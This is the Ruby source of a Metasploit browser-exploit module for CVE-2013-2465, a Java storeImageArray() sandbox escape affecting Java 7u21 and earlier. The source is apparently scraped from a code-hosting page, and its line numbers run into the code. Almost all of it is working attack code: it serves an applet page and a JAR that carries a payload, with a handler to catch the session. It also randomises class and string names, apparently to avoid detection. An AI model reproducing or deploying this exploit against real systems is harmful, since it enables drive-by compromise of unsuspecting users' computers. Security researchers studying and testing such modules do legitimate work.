Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_storeimagearray.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default78include Msf::Exploit::Remote::HttpServer::HTML910#include Msf::Exploit::Remote::BrowserAutopwn11#autopwn_info({ :javascript => false })1213def initialize( info = {} )14super( update_info( info,15'Name' => 'Java storeImageArray() Invalid Array Indexing Vulnerability',16'Description' => %q{17This module abuses an Invalid Array Indexing Vulnerability on the18static function storeImageArray() function in order to cause a19memory corruption and escape the Java Sandbox. The vulnerability20affects Java version 7u21 and earlier. The module, which doesn't bypass21click2play, has been tested successfully on Java 7u21 on Windows and22Linux systems.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Unknown', # From PacketStorm28'sinn3r', # Metasploit29'juan vazquez' # Metasploit30],31'References' =>32[33[ 'CVE', '2013-2465' ],34[ 'OSVDB', '96269' ],35[ 'EDB', '27526' ],36[ 'PACKETSTORM', '122777' ],37[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u-dev/jdk/rev/2a9c79db0040' ]38],39'Platform' => %w{ java linux win },40'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },41'Targets' =>42[43[ 'Generic (Java Payload)',44{45'Arch' => ARCH_JAVA,46'Platform' => 'java'47}48],49[ 'Windows Universal',50{51'Arch' => ARCH_X86,52'Platform' => 'win'53}54],55[ 'Linux x86',56{57'Arch' => ARCH_X86,58'Platform' => 'linux'59}60]61],62'DefaultTarget' => 0,63'DisclosureDate' => '2013-08-12'64))65end6667def setup68path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit.class")69@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }70path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorModel.class")71@color_model_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }72path = File.join(Msf::Config.data_directory, "exploits", "CVE-2013-2465", "Exploit$MyColorSpace.class")73@color_space_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }7475@exploit_class_name = rand_text_alpha("Exploit".length)76@color_model_class_name = rand_text_alpha("MyColorModel".length)77@color_space_class_name = rand_text_alpha("MyColorSpace".length)7879@exploit_class.gsub!("Exploit", @exploit_class_name)80@exploit_class.gsub!("MyColorModel", @color_model_class_name)81@exploit_class.gsub!("MyColorSpace", @color_space_class_name)8283@color_model_class.gsub!("Exploit", @exploit_class_name)84@color_model_class.gsub!("MyColorModel", @color_model_class_name)85@color_model_class.gsub!("MyColorSpace", @color_space_class_name)868788@color_space_class.gsub!("Exploit", @exploit_class_name)89@color_space_class.gsub!("MyColorModel", @color_model_class_name)90@color_space_class.gsub!("MyColorSpace", @color_space_class_name)9192super93end9495def on_request_uri( cli, request )96vprint_status("Requesting: #{request.uri}")97if request.uri !~ /\.jar$/i98if not request.uri =~ /\/$/99vprint_status("Sending redirect...")100send_redirect(cli, "#{get_resource}/", '')101return102end103104print_status("Sending HTML...")105send_response_html(cli, generate_html, {'Content-Type'=>'text/html'})106return107end108109print_status("Sending .jar file...")110send_response(cli, generate_jar(cli), {'Content-Type'=>'application/java-archive'})111112handler( cli )113end114115def generate_html116jar_name = rand_text_alpha(5+rand(3))117html = %Q|<html>118<head>119</head>120<body>121<applet archive="#{jar_name}.jar" code="#{@exploit_class_name}" width="1000" height="1000">122</applet>123</body>124</html>125|126html = html.gsub(/^ {4}/, '')127return html128end129130def generate_jar(cli)131132p = regenerate_payload(cli)133jar = p.encoded_jar134135jar.add_file("#{@exploit_class_name}.class", @exploit_class)136jar.add_file("#{@exploit_class_name}$#{@color_model_class_name}.class", @color_model_class)137jar.add_file("#{@exploit_class_name}$#{@color_space_class_name}.class", @color_space_class)138metasploit_str = rand_text_alpha("metasploit".length)139payload_str = rand_text_alpha("payload".length)140jar.entries.each { |entry|141entry.name.gsub!("metasploit", metasploit_str)142entry.name.gsub!("Payload", payload_str)143entry.data = entry.data.gsub("metasploit", metasploit_str)144entry.data = entry.data.gsub("Payload", payload_str)145}146jar.build_manifest147148return jar.pack149end150end151152153